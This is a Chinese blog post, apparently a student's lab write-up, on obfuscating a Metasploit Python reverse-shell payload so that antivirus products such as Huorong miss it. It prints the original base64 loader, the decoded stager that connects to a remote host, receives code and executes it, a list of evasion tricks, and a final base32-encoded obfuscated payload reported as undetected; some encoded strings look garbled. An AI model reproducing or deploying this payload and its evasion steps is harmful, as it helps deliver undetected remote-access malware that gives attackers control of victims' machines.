MSF源码级别免杀实录

2021-12-02|

对于msf生成的shellcode都是一样的。

所以从代码层面来讲来说,不论是什么语言的实现,最后的代码实现的逻辑都是一样的,由于对于java并不了解,但听懂了课堂代码的逻辑,就是先循环饶了了几次然后再建立连接小马拉大马,后参考了群里其他同学作业后得此下文!

因为自己有一定python基础 所以这里对python的源码免杀来进行浅显的分析:

首先我们msf生成一个python的马:

可以看到落地火绒报毒:

看下源码:

```

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1Cwujqvtdb1U97roatdKKrb8EUnzF27ZBFODUuMTMwJyw2NjY2KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK')[0]))

```

所以payload是:

简单处理一下:

```

import socket,zlib,base64,struct,time

for x in range(10):

 try:

  s=socket.socket(2,socket.SOCK_STREAM) 

  s.connect(('192.168.85.130',6666)) 

  break 

 except:

  time.sleep(5) 

l=struct.unpack('>I',s.recv(4))[0]

d=s.recv(l)

while len(d)<l:

 d+=s.recv(l-len(d))

exec(zlib.decompress(base64.b64decode(d)),{'s':s})


```

简单分析一波:

import一些模块进行b64解码&utf-8解码,解码里面的base64然后执行,这里用到的就是__import__内置函数来进行引用

代码的大概意思就是

循环10次尝试建立socket连接,成功就连接成功传数据,最后break,异常就sleep(5)秒然后继续建立连接

后面的代码

涉及到网络编程,不太了解,暂时搁置,这阵子了解一下网络编程后再来看

这里的话我感觉也可以改一下编码,但是不知道能否实行

所以这里就是一个基础的msf-pyhton的payload

基本上就是编码了一下然后直接建立连接,那么这里的话免杀思路如下:

1.改一下编码方式,最直接的

2.把木马里面的函数用不同方式实现

3.在木马里加点费功能混淆一下

4.函数名啥了改改,”特征值得改一下“,一些可以改的参数就改成自己的

(就跟抄作业似的,最后实现的功能都是一样的,你抄了别人的,你不能全抄把,哪不合适,就改改呗,嗯,改改呗,让杀软老师以为你是自己写的,不是抄msf的就行了,就给你过了)

所以我们这里的话

(\t)这里是因为我懒得替换了 为了一会好整成一行 (手动狗头)

我就简单做了这种混淆,然后整合回一行,然后最外面的编码我们用base32

NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY38EL9PSypgsoxPWZ4B4azon5wN6H1DHhkZIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=

最后的payload:

exec(__import__('base64').b32decode(__import__('codecs').getencoder('utf-8')('NFWXA33SOQQHG33DNNSXIIDBOMQHUMIKNFWXA33SOQQHU3DJMIQGC4ZAPIZAU2LNOBXXE5BAMJQXGZJWGQQGC4ZAPIZQU2LNOBXXE5BAON2HE5LDOQQGC4ZAPI2AU2LNOBXXE5BAORUW2ZJAMFZSA6RVBJTG64RAPIQGS3RAOJQW4Z3FFA2SSOQKBF2HE6J2BIEQS4Z5PIYS443PMNVWK5BIGIWHUMJOKNHUGS27KNKFERKBJUUQUCIJOMXGG33ONZSWG5BIFATTCLRRFYYS4MJHFQ3DMNRWFEUQUCIJMJZGKYLLBIEWK6DDMVYHIOQKBEEXUNJOONWGKZLQFA2SSCTMHV5DILTVNZYGCY35NaXQM3nBSKAhcm6NGzkUmZtT35gBhbqXIKMQ6XGLTSMVRXMKDMFEFHO2DJNRSSA3DFNYUGIKJ4NQ5AUCLEFM6XGLTSMVRXMKDMFVWGK3RIMQUSSCTFPBSWGKD2GIXGIZLDN5WXA4TFONZSQ6RTFZRDMNDEMVRW6ZDFFBSCSKJMPMTXGJZ2ON6SSCQ=')[0]))

设置好监听和载荷(这里payload一定要选对,因为我才接触msf不久,选错监听,老不上线,哭死)

木马成功上线

最后测试木马免杀效果

Good

然后给沙箱

其余的我就不测了,360大概率也过

最后总结:

经过这个实验吧,虽然也不是自己的思路,也算是鹦鹉学舌,但是最后总算是做出来了,免杀初体验挺好的,虽然很多概念都不清楚,但是初体验很好,多看文章多动手,继续努力!


标签: 这里 然后 一下 最后 import LNOBXXE 所以 连接 代码 就是
出处: https://cloud.tencent.com/developer/article/1907839

文明发言,请先登录

文明上网理性发言,请遵守国家法律法规。

最新评论

©2003- 黑基网 黑名单存档手机版网站地图免责条款法律声明隐私保护